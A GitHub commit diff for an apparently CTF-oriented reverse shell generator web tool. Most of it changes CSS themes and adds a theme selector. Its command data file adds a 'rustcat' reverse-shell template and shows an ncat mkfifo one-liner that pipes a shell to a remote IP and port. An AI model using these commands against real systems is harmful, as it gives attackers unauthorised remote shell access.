Merge pull request #63 from robiot/main

More serious lightmode
This commit is contained in:
Ryan Montgomery 2021-09-16 10:42:09 -04:00 committed by GitHub
commit 69795a205f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
11 changed files with 866 additions and 680 deletions

View File

@ -21,6 +21,7 @@
cursor: pointer; cursor: pointer;
user-select: none; user-select: none;
} }
.nav-tabs { .nav-tabs {
border-bottom: none !important; border-bottom: none !important;
} }
@ -33,9 +34,7 @@
background-color: #375a7f; background-color: #375a7f;
} }
_:-ms-fullscreen, :root body {
_:-ms-fullscreen,
:root body {
/* IE11 */ /* IE11 */
overflow-y: scroll; overflow-y: scroll;
} }
@ -70,6 +69,13 @@ _:-ms-fullscreen,
max-height: 20rem; max-height: 20rem;
} }
#theme-selector {
width: 100px;
height: 30px;
font-size: 13px;
margin-top: 5px;
}
.custom-select { .custom-select {
background-color: #646464; background-color: #646464;
color: white; color: white;
@ -95,29 +101,22 @@ h2 {
max-height: 40rem; max-height: 40rem;
} }
.list-group-item.active, .list-group-item.active, .list-group-item-action:focus, .list-group-item-action:hover {
.list-group-item-action:focus,
.list-group-item-action:hover {
background-color: #375a7f; background-color: #375a7f;
} }
.github-corner:hover .octo-arm { .github-corner:hover .octo-arm {
animation: octocat-wave 560ms ease-in-out animation: octocat-wave 560ms ease-in-out
} }
@keyframes octocat-wave { @keyframes octocat-wave {
0%, 100% {
0%,
100% {
transform: rotate(0) transform: rotate(0)
} }
20%, 60% {
20%,
60% {
transform: rotate(-25deg) transform: rotate(-25deg)
} }
40%, 80% {
40%,
80% {
transform: rotate(10deg) transform: rotate(10deg)
} }
} }
@ -126,7 +125,6 @@ h2 {
.github-corner:hover .octo-arm { .github-corner:hover .octo-arm {
animation: none animation: none
} }
.github-corner .octo-arm { .github-corner .octo-arm {
animation: octocat-wave 560ms ease-in-out animation: octocat-wave 560ms ease-in-out
} }

View File

@ -1 +1 @@
.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#426992;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}.nav-tabs{border-bottom:none!important}.nav-tabs .nav-link:hover{background-color:#375a7f}.nav-tabs .nav-link.active{background-color:#375a7f}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}#bind-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}#msfvenom-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);height:100%!important}h2{color:#fff;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem}.list-group-item-action:focus,.list-group-item-action:hover,.list-group-item.active{background-color:#375a7f}.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}} .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#426992;font-weight:bold;font-size:1em}.highlighted-warning{color:red;font-weight:bold}.custom-switch label{cursor:pointer;user-select:none}.nav-tabs{border-bottom:none !important}.nav-tabs .nav-link:hover{background-color:#375a7f}.nav-tabs .nav-link.active{background-color:#375a7f}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,0.75)}#reverse-shell-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,0.75);background-color:#464646;max-height:20rem}#bind-shell-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,0.75);background-color:#464646;max-height:20rem}#msfvenom-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,0.75);background-color:#464646;max-height:20rem}#theme-selector{width:100px;height:30px;font-size:13px;margin-top:5px}.custom-select{background-color:#646464;color:white}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,0.75);height:100% !important}h2{color:white;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem}.list-group-item.active,.list-group-item-action:focus,.list-group-item-action:hover{background-color:#375a7f}.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media(max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}}

View File

@ -3,11 +3,11 @@ Ain't got time for using CSS the right way. !important everything!
*/ */
[data-theme="light"] { [data-theme="light"] {
background-color: pink !important; background-color: #F6F6F6 !important;
} }
[data-theme="light"] .card { [data-theme="light"] .card {
background-color: rgb(175, 139, 173) !important; background-color: white !important;
color: #000; color: #000;
} }
@ -16,16 +16,11 @@ Ain't got time for using CSS the right way. !important everything!
} }
[data-theme="light"] .bg-dark { [data-theme="light"] .bg-dark {
background-color: rgb(231, 212, 224) !important; background-color: #ecefff !important;
} }
[data-theme="light"] .rainbow { [data-theme="light"] .rainbow {
text-shadow: 2px 2px 4px #000; color: #000;
font-size: 40px;
-webkit-animation: rainbow 5s infinite;
-ms-animation: rainbow 5s infinite;
animation: rainbow 5s infinite;
font-family: 'Comic Mono';
} }
[data-theme="light"] .prompt-sign { [data-theme="light"] .prompt-sign {
@ -38,14 +33,14 @@ Ain't got time for using CSS the right way. !important everything!
} }
[data-theme="light"] .input-group-text { [data-theme="light"] .input-group-text {
background-color: #f1c6ce; background-color: #c0c8f1;
color: #000; color: #000;
} }
[data-theme="light"] .btn { [data-theme="light"] .btn {
background-color: #a56096; background-color: #1e63b8;
color: #000; color: #fff;
border-color: #a56096; border: none;
} }
[data-theme="light"] .highlighted-parameter { [data-theme="light"] .highlighted-parameter {
@ -71,7 +66,7 @@ Ain't got time for using CSS the right way. !important everything!
[data-theme="light"] #listener-command { [data-theme="light"] #listener-command {
border: none !important; border: none !important;
border-radius: 5px; border-radius: 5px;
box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); box-shadow: 10px 10px 20px 0px rgba(209, 209, 209, 0.75);
background-color: rgb(45, 139, 135); background-color: rgb(45, 139, 135);
color: #000; color: #000;
} }
@ -79,7 +74,7 @@ Ain't got time for using CSS the right way. !important everything!
[data-theme="light"] #reverse-shell-command { [data-theme="light"] #reverse-shell-command {
border: none !important; border: none !important;
border-radius: 5px; border-radius: 5px;
box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); box-shadow: 10px 10px 20px 0px rgba(209, 209, 209, 0.75);
background-color: rgb(45, 139, 135); background-color: rgb(45, 139, 135);
color: #000; color: #000;
max-height: 20rem; max-height: 20rem;
@ -88,7 +83,7 @@ Ain't got time for using CSS the right way. !important everything!
[data-theme="light"] #bind-shell-command { [data-theme="light"] #bind-shell-command {
border: none !important; border: none !important;
border-radius: 5px; border-radius: 5px;
box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); box-shadow: 10px 10px 20px 0px rgba(209, 209, 209, 0.75);
background-color: rgb(45, 139, 135); background-color: rgb(45, 139, 135);
color: #000; color: #000;
max-height: 20rem; max-height: 20rem;
@ -97,31 +92,32 @@ Ain't got time for using CSS the right way. !important everything!
[data-theme="light"] #msfvenom-command { [data-theme="light"] #msfvenom-command {
border: none !important; border: none !important;
border-radius: 5px; border-radius: 5px;
box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); box-shadow: 10px 10px 20px 0px rgba(209, 209, 209, 0.75);
background-color: rgb(45, 139, 135); background-color: rgb(45, 139, 135);
color: #000; color: #000;
max-height: 20rem; max-height: 20rem;
} }
[data-theme="light"] .custom-select { [data-theme="light"] .custom-select {
background-color: #f1c6ce; background-color: #f2f2f2;
color: #000; color: #000;
border-color: #a56096; border-color: #e4e3e2;
} }
[data-theme="light"] .nav-link { [data-theme="light"] .nav-link {
color: #000; color: #000;
background: transparent; background: transparent;
box-shadow: 5px 5px 5px 0px rgba(153, 28, 143, 0.75); box-shadow: 5px 5px 5px 0px rgba(209, 209, 209, 0.75);
border: none;
} }
[data-theme="light"] .nav-link:hover { [data-theme="light"] .nav-link:hover {
background-color: #7223b5; background-color: #c0c8f1;
} }
[data-theme="light"] .nav-link.active { [data-theme="light"] .nav-link.active {
background-color: #a56096; background-color: #1e63b8;
color:#000; color:#fff;
} }
[data-theme="light"] .custom-control-input:checked { [data-theme="light"] .custom-control-input:checked {
@ -134,27 +130,27 @@ Ain't got time for using CSS the right way. !important everything!
} }
[data-theme="light"] .list-group-item { [data-theme="light"] .list-group-item {
background-color: #f1c6ce; background-color: #ecefff;
color: #000; color: #000;
} }
[data-theme="light"] .list-group-item.active { [data-theme="light"] .list-group-item.active {
background-color: #a56096; background-color: #586edd;
border-color: #000; border-color: #000;
} }
[data-theme="light"] .list-group-item:hover { [data-theme="light"] .list-group-item:hover {
background-color: #a56096; background-color: #c0c8f1;
} }
[data-theme="light"] .list-group-item.hover { [data-theme="light"] .list-group-item.hover {
background-color: rgba(153, 28, 143, 0.75); background-color: #c0c8f1;
} }
[data-theme="light"] .container { [data-theme="light"] .container {
padding: 10px; padding: 10px;
border-radius: 20px; border-radius: 20px;
box-shadow: 10px 0px 20px 0px rgba(153, 28, 143, 0.75); box-shadow: 10px 0px 20px 5px rgba(209, 209, 209, 0.75);
height: 100% !important; height: 100% !important;
} }
@ -183,174 +179,3 @@ Ain't got time for using CSS the right way. !important everything!
font-family: "Comic Mono"; font-family: "Comic Mono";
src: url(../assets/ComicMono.ttf); src: url(../assets/ComicMono.ttf);
} }
@-webkit-keyframes rainbow {
0% {
color: orange;
}
10% {
color: purple;
}
20% {
color: red;
}
30% {
color: CadetBlue;
}
40% {
color: yellow;
}
50% {
color: coral;
}
60% {
color: green;
}
70% {
color: cyan;
}
80% {
color: DeepPink;
}
90% {
color: DodgerBlue;
}
100% {
color: orange;
}
}
/* Internet Explorer */
@-ms-keyframes rainbow {
0% {
color: orange;
}
10% {
color: purple;
}
20% {
color: red;
}
30% {
color: CadetBlue;
}
40% {
color: yellow;
}
50% {
color: coral;
}
60% {
color: green;
}
70% {
color: cyan;
}
80% {
color: DeepPink;
}
90% {
color: DodgerBlue;
}
100% {
color: orange;
}
}
/* Standar Syntax */
@keyframes rainbow {
0% {
color: orange;
}
10% {
color: purple;
}
20% {
color: red;
}
30% {
color: CadetBlue;
}
40% {
color: yellow;
}
50% {
color: coral;
}
60% {
color: green;
}
70% {
color: cyan;
}
80% {
color: DeepPink;
}
90% {
color: DodgerBlue;
}
100% {
color: orange;
}
}
.github-corner:hover .octo-arm {
animation: octocat-wave 560ms ease-in-out
}
@keyframes octocat-wave {
0%,
100% {
transform: rotate(0)
}
20%,
60% {
transform: rotate(-25deg)
}
40%,
80% {
transform: rotate(10deg)
}
}
@media (max-width:500px) {
.github-corner:hover .octo-arm {
animation: none
}
.github-corner .octo-arm {
animation: octocat-wave 560ms ease-in-out
}
}

View File

@ -1 +1 @@
[data-theme=light]{background-color:pink!important}[data-theme=light] .card{background-color:#af8bad!important;color:#000}[data-theme=light] .bg-white{background-color:#ddd7d7!important}[data-theme=light] .bg-dark{background-color:#e7d4e0!important}[data-theme=light] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme=light] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme=light] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme=light] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme=light] .highlighted-parameter{color:#7223b5;font-weight:700;font-size:1em}[data-theme=light] .highlighted-warning{color:red;font-weight:700}[data-theme=light] .custom-switch label{cursor:pointer;user-select:none}[data-theme=light] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme=light] #listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000}[data-theme=light] #reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] #bind-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] #msfvenom-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme=light] .nav-link{color:#000;background:0 0;box-shadow:5px 5px 5px 0 rgba(153,28,143,.75)}[data-theme=light] .nav-link:hover{background-color:#7223b5}[data-theme=light] .nav-link.active{background-color:#a56096;color:#000}[data-theme=light] .custom-control-input:checked{color:#000}[data-theme=light] a{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme=light] .list-group-item:hover{background-color:#a56096}[data-theme=light] .list-group-item.hover{background-color:rgba(153,28,143,.75)}[data-theme=light] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,.75);height:100%!important}[data-theme=light] .card-title{color:#000!important}[data-theme=light] .custom-control-label{color:#000}[data-theme=light] h2{color:#fff;text-align:center}[data-theme=light] .pre-wrap{white-space:pre-wrap}[data-theme=light] .card-body{max-height:40rem}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}} [data-theme="light"]{background-color:#f6f6f6 !important}[data-theme="light"] .card{background-color:white !important;color:#000}[data-theme="light"] .bg-white{background-color:#ddd7d7 !important}[data-theme="light"] .bg-dark{background-color:#ecefff !important}[data-theme="light"] .rainbow{color:#000}[data-theme="light"] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme="light"] .input-group-text{background-color:#c0c8f1;color:#000}[data-theme="light"] .btn{background-color:#1e63b8;color:#fff;border:0}[data-theme="light"] .highlighted-parameter{color:#7223b5;font-weight:bold;font-size:1em}[data-theme="light"] .highlighted-warning{color:red;font-weight:bold}[data-theme="light"] .custom-switch label{cursor:pointer;user-select:none}[data-theme="light"] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme="light"] #listener-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(209,209,209,0.75);background-color:#2d8b87;color:#000}[data-theme="light"] #reverse-shell-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(209,209,209,0.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme="light"] #bind-shell-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(209,209,209,0.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme="light"] #msfvenom-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(209,209,209,0.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme="light"] .custom-select{background-color:#f2f2f2;color:#000;border-color:#e4e3e2}[data-theme="light"] .nav-link{color:#000;background:transparent;box-shadow:5px 5px 5px 0 rgba(209,209,209,0.75);border:0}[data-theme="light"] .nav-link:hover{background-color:#c0c8f1}[data-theme="light"] .nav-link.active{background-color:#1e63b8;color:#fff}[data-theme="light"] .custom-control-input:checked{color:#000}[data-theme="light"] a{background-color:#f1c6ce;color:#000}[data-theme="light"] .list-group-item{background-color:#ecefff;color:#000}[data-theme="light"] .list-group-item.active{background-color:#586edd;border-color:#000}[data-theme="light"] .list-group-item:hover{background-color:#c0c8f1}[data-theme="light"] .list-group-item.hover{background-color:#c0c8f1}[data-theme="light"] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 5px rgba(209,209,209,0.75);height:100% !important}[data-theme="light"] .card-title{color:#000 !important}[data-theme="light"] .custom-control-label{color:black}[data-theme="light"] h2{color:white;text-align:center}[data-theme="light"] .pre-wrap{white-space:pre-wrap}[data-theme="light"] .card-body{max-height:40rem}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}

325
css/meme-mode.css Normal file
View File

@ -0,0 +1,325 @@
/*
Ain't got time for using CSS the right way. !important everything!
*/
[data-theme="meme"] {
background-color: pink !important;
}
[data-theme="meme"] .card {
background-color: rgb(175, 139, 173) !important;
color: #000;
}
[data-theme="meme"] .bg-white {
background-color: rgb(221, 215, 215) !important;
}
[data-theme="meme"] .bg-dark {
background-color: rgb(231, 212, 224) !important;
}
[data-theme="meme"] .rainbow {
text-shadow: 2px 2px 4px #000;
font-size: 40px;
-webkit-animation: rainbow 5s infinite;
-ms-animation: rainbow 5s infinite;
animation: rainbow 5s infinite;
font-family: 'Comic Mono';
}
[data-theme="meme"] .prompt-sign {
position: absolute;
top: 25px;
left: 40px;
pointer-events: none;
font-size: 1em;
color: #2e3e86;
}
[data-theme="meme"] .input-group-text {
background-color: #f1c6ce;
color: #000;
}
[data-theme="meme"] .btn {
background-color: #a56096;
color: #000;
border-color: #a56096;
}
[data-theme="meme"] .highlighted-parameter {
color: #7223b5;
font-weight: bold;
font-size: 1em;
}
[data-theme="meme"] .highlighted-warning {
color: red;
font-weight: bold;
}
[data-theme="meme"] .custom-switch label {
cursor: pointer;
user-select: none;
}
[data-theme="meme"] .custom-control-input:checked~.custom-control-label::before {
background-color: #7223b5;
}
[data-theme="meme"] #listener-command {
border: none !important;
border-radius: 5px;
box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75);
background-color: rgb(45, 139, 135);
color: #000;
}
[data-theme="meme"] #reverse-shell-command {
border: none !important;
border-radius: 5px;
box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75);
background-color: rgb(45, 139, 135);
color: #000;
max-height: 20rem;
}
[data-theme="meme"] #bind-shell-command {
border: none !important;
border-radius: 5px;
box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75);
background-color: rgb(45, 139, 135);
color: #000;
max-height: 20rem;
}
[data-theme="meme"] #msfvenom-command {
border: none !important;
border-radius: 5px;
box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75);
background-color: rgb(45, 139, 135);
color: #000;
max-height: 20rem;
}
[data-theme="meme"] .custom-select {
background-color: #f1c6ce;
color: #000;
border-color: #a56096;
}
[data-theme="meme"] .nav-link {
color: #000;
background: transparent;
box-shadow: 5px 5px 5px 0px rgba(153, 28, 143, 0.75);
}
[data-theme="meme"] .nav-link:hover {
background-color: #7223b5;
}
[data-theme="meme"] .nav-link.active {
background-color: #a56096;
color:#000;
}
[data-theme="meme"] .custom-control-input:checked {
color: #000;
}
[data-theme="meme"] a {
background-color: #f1c6ce;
color: #000;
}
[data-theme="meme"] .list-group-item {
background-color: #f1c6ce;
color: #000;
}
[data-theme="meme"] .list-group-item.active {
background-color: #a56096;
border-color: #000;
}
[data-theme="meme"] .list-group-item:hover {
background-color: #a56096;
}
[data-theme="meme"] .list-group-item.hover {
background-color: rgba(153, 28, 143, 0.75);
}
[data-theme="meme"] .container {
padding: 10px;
border-radius: 20px;
box-shadow: 10px 0px 20px 0px rgba(153, 28, 143, 0.75);
height: 100% !important;
}
[data-theme="meme"] .card-title {
color: #000 !important;
}
[data-theme="meme"] .custom-control-label {
color: black;
}
[data-theme="meme"] h2 {
color: white;
text-align: center;
}
[data-theme="meme"] .pre-wrap {
white-space: pre-wrap;
}
[data-theme="meme"] .card-body {
max-height: 40rem;
}
@font-face {
font-family: "Comic Mono";
src: url(../assets/ComicMono.ttf);
}
@-webkit-keyframes rainbow {
0% {
color: orange;
}
10% {
color: purple;
}
20% {
color: red;
}
30% {
color: CadetBlue;
}
40% {
color: yellow;
}
50% {
color: coral;
}
60% {
color: green;
}
70% {
color: cyan;
}
80% {
color: DeepPink;
}
90% {
color: DodgerBlue;
}
100% {
color: orange;
}
}
/* Internet Explorer */
@-ms-keyframes rainbow {
0% {
color: orange;
}
10% {
color: purple;
}
20% {
color: red;
}
30% {
color: CadetBlue;
}
40% {
color: yellow;
}
50% {
color: coral;
}
60% {
color: green;
}
70% {
color: cyan;
}
80% {
color: DeepPink;
}
90% {
color: DodgerBlue;
}
100% {
color: orange;
}
}
/* Standar Syntax */
@keyframes rainbow {
0% {
color: orange;
}
10% {
color: purple;
}
20% {
color: red;
}
30% {
color: CadetBlue;
}
40% {
color: yellow;
}
50% {
color: coral;
}
60% {
color: green;
}
70% {
color: cyan;
}
80% {
color: DeepPink;
}
90% {
color: DodgerBlue;
}
100% {
color: orange;
}
}

1
css/meme-mode.min.css vendored Normal file
View File

@ -0,0 +1 @@
[data-theme="meme"]{background-color:pink !important}[data-theme="meme"] .card{background-color:#af8bad !important;color:#000}[data-theme="meme"] .bg-white{background-color:#ddd7d7 !important}[data-theme="meme"] .bg-dark{background-color:#e7d4e0 !important}[data-theme="meme"] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme="meme"] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme="meme"] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme="meme"] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme="meme"] .highlighted-parameter{color:#7223b5;font-weight:bold;font-size:1em}[data-theme="meme"] .highlighted-warning{color:red;font-weight:bold}[data-theme="meme"] .custom-switch label{cursor:pointer;user-select:none}[data-theme="meme"] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme="meme"] #listener-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,0.75);background-color:#2d8b87;color:#000}[data-theme="meme"] #reverse-shell-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,0.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme="meme"] #bind-shell-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,0.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme="meme"] #msfvenom-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,0.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme="meme"] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme="meme"] .nav-link{color:#000;background:transparent;box-shadow:5px 5px 5px 0 rgba(153,28,143,0.75)}[data-theme="meme"] .nav-link:hover{background-color:#7223b5}[data-theme="meme"] .nav-link.active{background-color:#a56096;color:#000}[data-theme="meme"] .custom-control-input:checked{color:#000}[data-theme="meme"] a{background-color:#f1c6ce;color:#000}[data-theme="meme"] .list-group-item{background-color:#f1c6ce;color:#000}[data-theme="meme"] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme="meme"] .list-group-item:hover{background-color:#a56096}[data-theme="meme"] .list-group-item.hover{background-color:rgba(153,28,143,0.75)}[data-theme="meme"] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,0.75);height:100% !important}[data-theme="meme"] .card-title{color:#000 !important}[data-theme="meme"] .custom-control-label{color:black}[data-theme="meme"] h2{color:white;text-align:center}[data-theme="meme"] .pre-wrap{white-space:pre-wrap}[data-theme="meme"] .card-body{max-height:40rem}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:CadetBlue}40%{color:yellow}50%{color:coral}60%{color:green}70%{color:cyan}80%{color:DeepPink}90%{color:DodgerBlue}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:CadetBlue}40%{color:yellow}50%{color:coral}60%{color:green}70%{color:cyan}80%{color:DeepPink}90%{color:DodgerBlue}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:CadetBlue}40%{color:yellow}50%{color:coral}60%{color:green}70%{color:cyan}80%{color:DeepPink}90%{color:DodgerBlue}100%{color:orange}}

View File

@ -12,6 +12,7 @@
<script src="assets/bootstrap-4.5.2.min.js"></script> <script src="assets/bootstrap-4.5.2.min.js"></script>
<link rel="stylesheet" href="css/dark-mode.min.css"> <link rel="stylesheet" href="css/dark-mode.min.css">
<link rel="stylesheet" href="css/light-mode.min.css"> <link rel="stylesheet" href="css/light-mode.min.css">
<link rel="stylesheet" href="css/meme-mode.min.css">
<meta name="description" content="Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs." /> <meta name="description" content="Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs." />
<meta name="title" content="Online - Reverse Shell Generator"> <meta name="title" content="Online - Reverse Shell Generator">
<!-- Open Graph / Facebook --> <!-- Open Graph / Facebook -->
@ -29,6 +30,8 @@
<meta property="twitter:image" <meta property="twitter:image"
content="https://user-images.githubusercontent.com/58673953/111243529-9d646f80-85d7-11eb-986c-9842747dc2e7.png"> content="https://user-images.githubusercontent.com/58673953/111243529-9d646f80-85d7-11eb-986c-9842747dc2e7.png">
<link rel="canonical" href="https://revshells.com" />
<!-- GitHub Ribbon --> <!-- GitHub Ribbon -->
<a href="https://github.com/0dayCTF/reverse-shell-generator" class="github-corner" <a href="https://github.com/0dayCTF/reverse-shell-generator" class="github-corner"
aria-label="View source on GitHub"><svg width="80" height="80" viewBox="0 0 250 250" aria-label="View source on GitHub"><svg width="80" height="80" viewBox="0 0 250 250"
@ -42,23 +45,25 @@
fill="currentColor" class="octo-body"></path> fill="currentColor" class="octo-body"></path>
</svg></a> </svg></a>
<style> <style>
<link rel="canonical" href="https://revshells.com" />
</style> </style>
</head> </head>
<body class="bg-black"> <body class="bg-black">
<div class="container d-flex flex-column vh-100"> <div class="container d-flex flex-column vh-100">
<div class="custom-control custom-switch float-right"> <div class="custom-control float-right" style="margin-left: -25px;">
<input id="lightSwitch" type="checkbox" class="custom-control-input"> <label for="theme-selector" class="card-title col-auto col-form-label float-left"
<label for="lightSwitch" class="custom-control-label small pr-2 pb-1" style="padding-top:2px" style="font-size:1rem">Theme</label>
data-toggle="tooltip" title="Toggle Light Mode">Light Mode 🌓
</label> <select class="custom-select" id="theme-selector">
<option class="os-item" value="dark">Dark</option>
<option class="os-item" value="light">Light</option>
<option class="os-item" value="meme">Meme</option>
</select>
</div> </div>
<!-- Header --> <!-- Header -->
<div class="mb-auto row justify-content-center mt-3 mb-5"> <div class="mb-auto row justify-content-center mt-3 mb-5">
<h2 class="rainbow">Reverse Shell Generator</h2> <h2 class="rainbow">Reverse Shell Generator</h2>
</div> </div>
<div class="row"> <div class="row">
@ -447,7 +452,7 @@
<script src="js/raw-link.js"></script> <script src="js/raw-link.js"></script>
<!-- Light switch --> <!-- Light switch -->
<script src="js/light-mode-switch.min.js"></script> <script src="js/light-mode-switch.js"></script>
<!-- Main js --> <!-- Main js -->
<script src="js/script.js"></script> <script src="js/script.js"></script>

View File

@ -79,6 +79,11 @@ const reverseShellCommands = withCommandType(
"command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u {ip} {port} >/tmp/f", "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u {ip} {port} >/tmp/f",
"meta": ["linux", "mac"] "meta": ["linux", "mac"]
}, },
{
"name": "rustcat",
"command": "rc {ip} {port} -r {shell}",
"meta": ["linux", "mac"]
},
{ {
"name": "C", "name": "C",
